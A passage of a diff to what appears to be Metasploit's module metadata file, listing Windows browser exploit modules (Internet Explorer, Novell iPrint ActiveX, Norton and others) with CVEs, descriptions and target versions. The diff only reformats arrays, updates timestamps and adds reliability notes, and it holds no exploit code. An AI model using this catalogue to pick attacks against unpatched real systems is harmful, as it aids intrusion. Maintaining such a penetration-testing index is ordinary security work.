[ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148321,9 +151338,7 @@ "exploit_windows/browser/ms14_012_textrange": { "name": "MS14-012 Microsoft Internet Explorer TextRange Use-After-Free", "fullname": "exploit/windows/browser/ms14_012_textrange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-11", "type": "exploit", @@ -148331,7 +151346,7 @@ "Jason Kratzer", "sinn3r " ], - "description": "This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw\n was most likely introduced in 2013, therefore only certain builds of MSHTML are\n affected. In our testing with IE9, these vulnerable builds appear to be between\n 9.0.8112.16496 and 9.0.8112.16533, which implies the vulnerability shipped between\n August 2013, when it was introduced, until the fix issued in early March 2014.", + "description": "This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw\n was most likely introduced in 2013, therefore only certain builds of MSHTML are\n affected. In our testing with IE9, these vulnerable builds appear to be between\n 9.0.8112.16496 and 9.0.8112.16533, which implies the vulnerability shipped between\n August 2013, when it was introduced, until the fix issued in early March 2014.", "references": [ "CVE-2014-0307", "MSB-MS14-012" @@ -148339,16 +151354,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms14_012_textrange.rb", "is_install_path": true, "ref_name": "windows/browser/ms14_012_textrange", @@ -148356,6 +151367,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148363,9 +151383,7 @@ "exploit_windows/browser/ms14_064_ole_code_execution": { "name": "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution", "fullname": "exploit/windows/browser/ms14_064_ole_code_execution", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2014-11-13", "type": "exploit", @@ -148378,7 +151396,7 @@ "b33f", "sinn3r " ], - "description": "This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.\n The vulnerability is known to affect Internet Explorer 3.0 until version 11 within\n Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will\n only target Windows XP and Windows 7 box due to the Powershell limitation.\n\n Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other\n newer Windows systems, the exploit will try using Powershell instead.", + "description": "This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.\n The vulnerability is known to affect Internet Explorer 3.0 until version 11 within\n Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will\n only target Windows XP and Windows 7 box due to the Powershell limitation.\n\n Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other\n newer Windows systems, the exploit will try using Powershell instead.", "references": [ "CVE-2014-6332", "MSB-MS14-064", @@ -148391,17 +151409,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP", "Windows 7" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb", "is_install_path": true, "ref_name": "windows/browser/ms14_064_ole_code_execution", @@ -148409,6 +151423,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148416,9 +151439,7 @@ "exploit_windows/browser/ms16_051_vbscript": { "name": "Internet Explorer 11 VBScript Engine Memory Corruption", "fullname": "exploit/windows/browser/ms16_051_vbscript", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-05-10", "type": "exploit", @@ -148426,7 +151447,7 @@ "Theori", "William Webb " ], - "description": "This module exploits the memory corruption vulnerability (CVE-2016-0189)\n present in the VBScript engine of Internet Explorer 11.", + "description": "This module exploits the memory corruption vulnerability (CVE-2016-0189)\n present in the VBScript engine of Internet Explorer 11.", "references": [ "CVE-2016-0189", "MSB-MS16-051" @@ -148434,17 +151455,13 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 10 with IE 11" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ms16_051_vbscript.rb", "is_install_path": true, "ref_name": "windows/browser/ms16_051_vbscript", @@ -148452,6 +151469,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148459,16 +151485,14 @@ "exploit_windows/browser/msvidctl_mpeg2": { "name": "Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption", "fullname": "exploit/windows/browser/msvidctl_mpeg2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-07-05", "type": "exploit", "author": [ "Trancer " ], - "description": "This module exploits a memory corruption within the MSVidCtl component of Microsoft\n DirectShow (BDATuner.MPEG2TuneRequest).\n By loading a specially crafted GIF file, an attacker can overrun a buffer and\n execute arbitrary code.\n\n ClassID is now configurable via an advanced option (otherwise randomized) - I)ruid", + "description": "This module exploits a memory corruption within the MSVidCtl component of Microsoft\n DirectShow (BDATuner.MPEG2TuneRequest).\n By loading a specially crafted GIF file, an attacker can overrun a buffer and\n execute arbitrary code.\n\n ClassID is now configurable via an advanced option (otherwise randomized) - I)ruid", "references": [ "CVE-2008-0015", "OSVDB-55651", @@ -148479,16 +151503,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/msvidctl_mpeg2.rb", "is_install_path": true, "ref_name": "windows/browser/msvidctl_mpeg2", @@ -148496,6 +151516,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148503,16 +151532,14 @@ "exploit_windows/browser/mswhale_checkforupdates": { "name": "Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/mswhale_checkforupdates", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-04-15", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Microsoft Whale Intelligent Application\n Gateway Whale Client. When sending an overly long string to CheckForUpdates()\n method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute\n arbitrary code.", + "description": "This module exploits a stack buffer overflow in Microsoft Whale Intelligent Application\n Gateway Whale Client. When sending an overly long string to CheckForUpdates()\n method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute\n arbitrary code.", "references": [ "CVE-2007-2238", "OSVDB-53933", @@ -148521,16 +151548,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/mswhale_checkforupdates.rb", "is_install_path": true, "ref_name": "windows/browser/mswhale_checkforupdates", @@ -148538,6 +151561,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148545,9 +151577,7 @@ "exploit_windows/browser/msxml_get_definition_code_exec": { "name": "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption", "fullname": "exploit/windows/browser/msxml_get_definition_code_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-06-12", "type": "exploit", @@ -148557,7 +151587,7 @@ "sinn3r ", "juan vazquez " ], - "description": "This module exploits a memory corruption flaw in Microsoft XML Core Services\n when trying to access an uninitialized Node with the getDefinition API, which\n may corrupt memory allowing remote code execution.", + "description": "This module exploits a memory corruption flaw in Microsoft XML Core Services\n when trying to access an uninitialized Node with the getDefinition API, which\n may corrupt memory allowing remote code execution.", "references": [ "CVE-2012-1889", "BID-53934", @@ -148570,12 +151600,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -148585,7 +151611,7 @@ "IE 8 with Java 6 on Windows 7 SP1/Vista SP2", "IE 9 with Java 6 on Windows 7 SP1" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb", "is_install_path": true, "ref_name": "windows/browser/msxml_get_definition_code_exec", @@ -148593,6 +151619,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148600,9 +151635,7 @@ "exploit_windows/browser/nctaudiofile2_setformatlikesample": { "name": "NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow", "fullname": "exploit/windows/browser/nctaudiofile2_setformatlikesample", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-01-24", "type": "exploit", @@ -148611,7 +151644,7 @@ "dookie", "jduck " ], - "description": "This module exploits a stack buffer overflow in the NCTAudioFile2.Audio ActiveX\n Control provided by various audio applications. By sending an overly long\n string to the \"SetFormatLikeSample()\" method, an attacker may be able to\n execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in the NCTAudioFile2.Audio ActiveX\n Control provided by various audio applications. By sending an overly long\n string to the \"SetFormatLikeSample()\" method, an attacker may be able to\n execute arbitrary code.", "references": [ "CVE-2007-0018", "OSVDB-32032", @@ -148621,16 +151654,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2/SP3 Pro English (IE6)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb", "is_install_path": true, "ref_name": "windows/browser/nctaudiofile2_setformatlikesample", @@ -148638,6 +151667,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148645,16 +151683,14 @@ "exploit_windows/browser/nis2004_antispam": { "name": "Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/nis2004_antispam", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-03-19", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Norton AntiSpam 2004. When\n sending an overly long string to the LaunchCustomRuleWizard() method\n of symspam.dll (2004.1.0.147) an attacker may be able to execute\n arbitrary code.", + "description": "This module exploits a stack buffer overflow in Norton AntiSpam 2004. When\n sending an overly long string to the LaunchCustomRuleWizard() method\n of symspam.dll (2004.1.0.147) an attacker may be able to execute\n arbitrary code.", "references": [ "CVE-2004-0363", "OSVDB-6249", @@ -148663,16 +151699,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/nis2004_antispam.rb", "is_install_path": true, "ref_name": "windows/browser/nis2004_antispam", @@ -148680,6 +151712,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148687,16 +151728,14 @@ "exploit_windows/browser/nis2004_get": { "name": "Symantec Norton Internet Security 2004 ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/nis2004_get", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-05-16", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the ISAlertDataCOM ActiveX\n Control (ISLAert.dll) provided by Symantec Norton Internet Security 2004.\n By sending an overly long string to the \"Get()\" method, an attacker may be\n able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in the ISAlertDataCOM ActiveX\n Control (ISLAert.dll) provided by Symantec Norton Internet Security 2004.\n By sending an overly long string to the \"Get()\" method, an attacker may be\n able to execute arbitrary code.", "references": [ "CVE-2007-1689", "OSVDB-36164", @@ -148705,17 +151744,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0/SP1 Pro English", "Windows 2000 Pro English All" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/nis2004_get.rb", "is_install_path": true, "ref_name": "windows/browser/nis2004_get", @@ -148723,6 +151758,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148730,9 +151774,7 @@ "exploit_windows/browser/notes_handler_cmdinject": { "name": "IBM Lotus Notes Client URL Handler Command Injection", "fullname": "exploit/windows/browser/notes_handler_cmdinject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-18", "type": "exploit", @@ -148753,16 +151795,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/notes_handler_cmdinject.rb", "is_install_path": true, "ref_name": "windows/browser/notes_handler_cmdinject", @@ -148770,6 +151808,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -148777,9 +151824,7 @@ "exploit_windows/browser/novell_groupwise_gwcls1_actvx": { "name": "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution", "fullname": "exploit/windows/browser/novell_groupwise_gwcls1_actvx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-30", "type": "exploit", @@ -148787,7 +151832,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll\n ActiveX. Several methods in the GWCalServer control use user provided data as\n a pointer, which allows to read arbitrary memory and execute arbitrary code. This\n module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The\n JRE6 needs to be installed to achieve ASLR bypass.", + "description": "This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll\n ActiveX. Several methods in the GWCalServer control use user provided data as\n a pointer, which allows to read arbitrary memory and execute arbitrary code. This\n module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The\n JRE6 needs to be installed to achieve ASLR bypass.", "references": [ "CVE-2012-0439", "OSVDB-89700", @@ -148798,12 +151843,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -148814,7 +151855,7 @@ "IE 8 on Windows 7", "IE 9 on Windows 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb", "is_install_path": true, "ref_name": "windows/browser/novell_groupwise_gwcls1_actvx", @@ -148822,6 +151863,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148829,16 +151879,14 @@ "exploit_windows/browser/novelliprint_callbackurl": { "name": "Novell iPrint Client ActiveX Control call-back-url Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_callbackurl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-08-20", "type": "exploit", "author": [ "Trancer " ], - "description": "This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42.\n When sending an overly long string to the 'call-back-url' parameter in an\n op-client-interface-version action of ienipp.ocx an attacker may be able to\n execute arbitrary code.", + "description": "This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42.\n When sending an overly long string to the 'call-back-url' parameter in an\n op-client-interface-version action of ienipp.ocx an attacker may be able to\n execute arbitrary code.", "references": [ "CVE-2010-1527", "OSVDB-67411", @@ -148848,16 +151896,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/novelliprint_callbackurl.rb", "is_install_path": true, "ref_name": "windows/browser/novelliprint_callbackurl", @@ -148865,6 +151909,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148872,16 +151925,14 @@ "exploit_windows/browser/novelliprint_datetime": { "name": "Novell iPrint Client ActiveX Control Date/Time Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_datetime", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-08", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack buffer overflow in Novell iPrint Client 5.30. When\n passing a specially crafted date/time string via certain parameters to ienipp.ocx\n an attacker can execute arbitrary code.\n\n NOTE: The \"operation\" variable must be set to a valid command in order to reach this\n vulnerability.", + "description": "This module exploits a stack buffer overflow in Novell iPrint Client 5.30. When\n passing a specially crafted date/time string via certain parameters to ienipp.ocx\n an attacker can execute arbitrary code.\n\n NOTE: The \"operation\" variable must be set to a valid command in order to reach this\n vulnerability.", "references": [ "CVE-2009-1569", "BID-37242", @@ -148891,16 +151942,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "iPrint 5.30 Windows Client" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/novelliprint_datetime.rb", "is_install_path": true, "ref_name": "windows/browser/novelliprint_datetime", @@ -148908,6 +151955,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148915,16 +151971,14 @@ "exploit_windows/browser/novelliprint_executerequest": { "name": "Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_executerequest", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-02-22", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Novell iPrint Client 4.26. When\n sending an overly long string to the ExecuteRequest() property of ienipp.ocx\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Novell iPrint Client 4.26. When\n sending an overly long string to the ExecuteRequest() property of ienipp.ocx\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2008-0935", "OSVDB-42063", @@ -148933,16 +151987,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/novelliprint_executerequest.rb", "is_install_path": true, "ref_name": "windows/browser/novelliprint_executerequest", @@ -148950,6 +152000,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -148957,16 +152016,14 @@ "exploit_windows/browser/novelliprint_executerequest_dbg": { "name": "Novell iPrint Client ActiveX Control ExecuteRequest debug Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_executerequest_dbg", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-08-04", "type": "exploit", "author": [ "Trancer " ], - "description": "This module exploits a stack-based buffer overflow in Novell iPrint Client 5.40.\n When sending an overly long string to the 'debug' parameter in ExecuteRequest()\n property of ienipp.ocx an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack-based buffer overflow in Novell iPrint Client 5.40.\n When sending an overly long string to the 'debug' parameter in ExecuteRequest()\n property of ienipp.ocx an attacker may be able to execute arbitrary code.", "references": [ "CVE-2010-3106", "OSVDB-66960", @@ -148976,16 +152033,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb", "is_install_path": true, "ref_name": "windows/browser/novelliprint_executerequest_dbg", @@ -148993,6 +152046,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149000,16 +152062,14 @@ "exploit_windows/browser/novelliprint_getdriversettings": { "name": "Novell iPrint Client ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_getdriversettings", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-06-16", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Novell iPrint Client 4.34. When\n sending an overly long string to the GetDriverSettings() property of ienipp.ocx\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Novell iPrint Client 4.34. When\n sending an overly long string to the GetDriverSettings() property of ienipp.ocx\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2008-2908", "OSVDB-46194", @@ -149018,16 +152078,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/novelliprint_getdriversettings.rb", "is_install_path": true, "ref_name": "windows/browser/novelliprint_getdriversettings", @@ -149035,6 +152091,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149042,9 +152107,7 @@ "exploit_windows/browser/novelliprint_getdriversettings_2": { "name": "Novell iPrint Client ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_getdriversettings_2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-11-15", "type": "exploit", @@ -149052,7 +152115,7 @@ "mr_me ", "Dr_IDE" ], - "description": "This module exploits a stack buffer overflow in Novell iPrint Client 5.52. When\n sending an overly long string to the GetDriverSettings() property of ienipp.ocx\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Novell iPrint Client 5.52. When\n sending an overly long string to the GetDriverSettings() property of ienipp.ocx\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2010-4321", "BID-44966", @@ -149064,16 +152127,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb", "is_install_path": true, "ref_name": "windows/browser/novelliprint_getdriversettings_2", @@ -149081,6 +152140,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149088,16 +152156,14 @@ "exploit_windows/browser/novelliprint_target_frame": { "name": "Novell iPrint Client ActiveX Control target-frame Buffer Overflow", "fullname": "exploit/windows/browser/novelliprint_target_frame", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-08", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack buffer overflow in Novell iPrint Client 5.30. When\n passing an overly long string via the \"target-frame\" parameter to ienipp.ocx\n an attacker can execute arbitrary code.\n\n NOTE: The \"operation\" variable must be set to a valid command in order to reach this\n vulnerability.", + "description": "This module exploits a stack buffer overflow in Novell iPrint Client 5.30. When\n passing an overly long string via the \"target-frame\" parameter to ienipp.ocx\n an attacker can execute arbitrary code.\n\n NOTE: The \"operation\" variable must be set to a valid command in order to reach this\n vulnerability.", "references": [ "CVE-2009-1568", "BID-37242", @@ -149107,16 +152173,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "iPrint 5.30 Windows Client" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/novelliprint_target_frame.rb", "is_install_path": true, "ref_name": "windows/browser/novelliprint_target_frame", @@ -149124,6 +152186,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149131,9 +152202,7 @@ "exploit_windows/browser/ntr_activex_check_bof": { "name": "NTR ActiveX Control Check() Method Buffer Overflow", "fullname": "exploit/windows/browser/ntr_activex_check_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-11", "type": "exploit", @@ -149141,7 +152210,7 @@ "Carsten Eiram", "juan vazquez " ], - "description": "This module exploits a vulnerability found in NTR ActiveX 1.1.8. The\n vulnerability exists in the Check() method, due to the insecure usage of strcat to\n build a URL using the bstrParams parameter contents (note: this is also the reason\n why the module won't allow you to modify the URIPATH), which leads to code execution\n under the context of the user visiting a malicious web page. In order to bypass\n DEP and ASLR on Windows Vista and Windows 7 JRE 6 is needed.", + "description": "This module exploits a vulnerability found in NTR ActiveX 1.1.8. The\n vulnerability exists in the Check() method, due to the insecure usage of strcat to\n build a URL using the bstrParams parameter contents (note: this is also the reason\n why the module won't allow you to modify the URIPATH), which leads to code execution\n under the context of the user visiting a malicious web page. In order to bypass\n DEP and ASLR on Windows Vista and Windows 7 JRE 6 is needed.", "references": [ "CVE-2012-0266", "OSVDB-78252", @@ -149151,12 +152220,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -149167,7 +152232,7 @@ "IE 8 on Windows 7", "IE 9 on Windows 7" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": 